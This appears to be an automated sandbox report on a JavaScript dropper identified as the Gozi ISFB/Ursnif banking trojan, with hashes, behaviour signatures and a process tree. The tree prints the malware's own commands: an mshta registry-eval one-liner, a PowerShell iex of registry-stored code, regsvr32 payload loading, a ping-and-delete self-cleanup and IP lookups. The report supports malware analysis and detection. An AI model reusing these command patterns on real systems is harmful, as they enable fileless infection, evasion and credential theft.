Overview

overview

10

Static

static

view_attach_c4h.js

windows7_x64

10

view_attach_c4h.js

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10v200217
  • submitted
    03-04-2020 22:58

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General

  • Target

    view_attach_c4h.js

  • Size

    3.5MB

  • MD5

    7122e78a761f320e7951d29867bbc0d5

  • SHA1

    56a4383852b142cf03c4184d09120738479dabbc

  • SHA256

    3c88a1b460b983d2fbabc34c3c90b827b0deb17eff8cd2ad07d24210e6339537

  • SHA512

    355832eeee9ece97d5bb355dc561c29ade318487c75d56a69b70c2fb572ec6c2a495440e5ff9952e403b6a4745bf77714716aa9b2ee51a66e912b731c81d7921

Score
10/10
bankertrojanursnifspywaregozi_ifsb

Malware Config

Signatures

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Checks whether UAC is enabled 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
    adwarespyware
  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

    bankertrojangozi_ifsb
  • Suspicious use of SetThreadContext 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 1463 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

    bankertrojanursnif
  • Suspicious use of WriteProcessMemory 49 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:2920
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\Users\Admin\AppData\Local\Temp\view_attach_c4h.js
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4000
      • C:\Windows\System32\regsvr32.exe
        "C:\Windows\System32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\\UlrsxVY.txt
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3976
        • C:\Windows\SysWOW64\regsvr32.exe
          -s C:\Users\Admin\AppData\Local\Temp\\UlrsxVY.txt
          4⤵
          • Loads dropped DLL
          PID:3568
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\AppDataLow\\Software\\Microsoft\\D01BDB27-EF3C-8245-F904-93D63D78776A\\Abovecsp'));if(!window.flag)close()</script>"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1684
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\D01BDB27-EF3C-8245-F904-93D63D78776A").Authakra))
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:3672
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nr2fread\nr2fread.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1040
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6C70.tmp" "c:\Users\Admin\AppData\Local\Temp\nr2fread\CSC1B17C4C8A1464955B568F26D22D24C1.TMP"
            5⤵
              PID:1160
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xt4gyhxd\xt4gyhxd.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1284
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6DB9.tmp" "c:\Users\Admin\AppData\Local\Temp\xt4gyhxd\CSC2C8E0AEFCC274D1EA8194C97A412A8E4.TMP"
              5⤵
                PID:1496
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\UlrsxVY.txt"
          2⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:1964
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            • Runs ping.exe
            PID:2536
        • C:\Windows\system32\cmd.exe
          cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\A6BB.bi1"
          2⤵
            PID:3664
            • C:\Windows\system32\nslookup.exe
              nslookup myip.opendns.com resolver1.opendns.com
              3⤵
                PID:3576
            • C:\Windows\system32\cmd.exe
              cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\A6C7.bi1"
              2⤵
                PID:4068
                • C:\Windows\system32\nslookup.exe
                  nslookup myip.opendns.com resolver1.opendns.com
                  3⤵
                    PID:3492
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\A6C7.bi1"
                  2⤵
                    PID:3820
                  • C:\Windows\system32\cmd.exe
                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\A6BB.bi1"
                    2⤵
                      PID:3952
                    • C:\Program Files\Windows Mail\WinMail.exe
                      "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
                      2⤵
                        PID:2264
                    • C:\Windows\System32\RuntimeBroker.exe
                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                      1⤵
                        PID:3384
                      • C:\Program Files\Internet Explorer\iexplore.exe
                        "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                        1⤵
                        • Checks whether UAC is enabled
                        • Modifies Internet Explorer settings
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of WriteProcessMemory
                        PID:1792
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1792 CREDAT:82945 /prefetch:2
                          2⤵
                          • Checks whether UAC is enabled
                          • Modifies Internet Explorer settings
                          • Suspicious use of SetWindowsHookEx
                          PID:1736
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1792 CREDAT:82950 /prefetch:2
                          2⤵
                          • Checks whether UAC is enabled
                          • Modifies Internet Explorer settings
                          • Suspicious use of SetWindowsHookEx
                          PID:3288

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

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                      Downloads

                      • memory/1792-16-0x0000028AC3EE0000-0x0000028AC3EE1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/1964-21-0x000001CBA3900000-0x000001CBA39B1000-memory.dmp

                        Filesize

                        708KB

                        Download

                      • memory/1964-18-0x000001CBA1750000-0x000001CBA1751000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2264-29-0x0000026117C00000-0x0000026117C01000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2536-20-0x0000021C9C8B0000-0x0000021C9C8B1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2920-19-0x0000000005860000-0x0000000005911000-memory.dmp

                        Filesize

                        708KB

                        Download

                      • memory/2920-17-0x00000000031C0000-0x0000000003271000-memory.dmp

                        Filesize

                        708KB

                        Download

                      • memory/2920-15-0x00000000031C0000-0x0000000003271000-memory.dmp

                        Filesize

                        708KB

                        Download

                      • memory/2920-12-0x0000000001290000-0x0000000001291000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2920-30-0x0000000005900000-0x00000000059B1000-memory.dmp

                        Filesize

                        708KB

                        Download

                      • memory/3384-14-0x0000026471AC0000-0x0000026471AC1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/3672-13-0x0000023DDD8C0000-0x0000023DDD971000-memory.dmp

                        Filesize

                        708KB

                        Download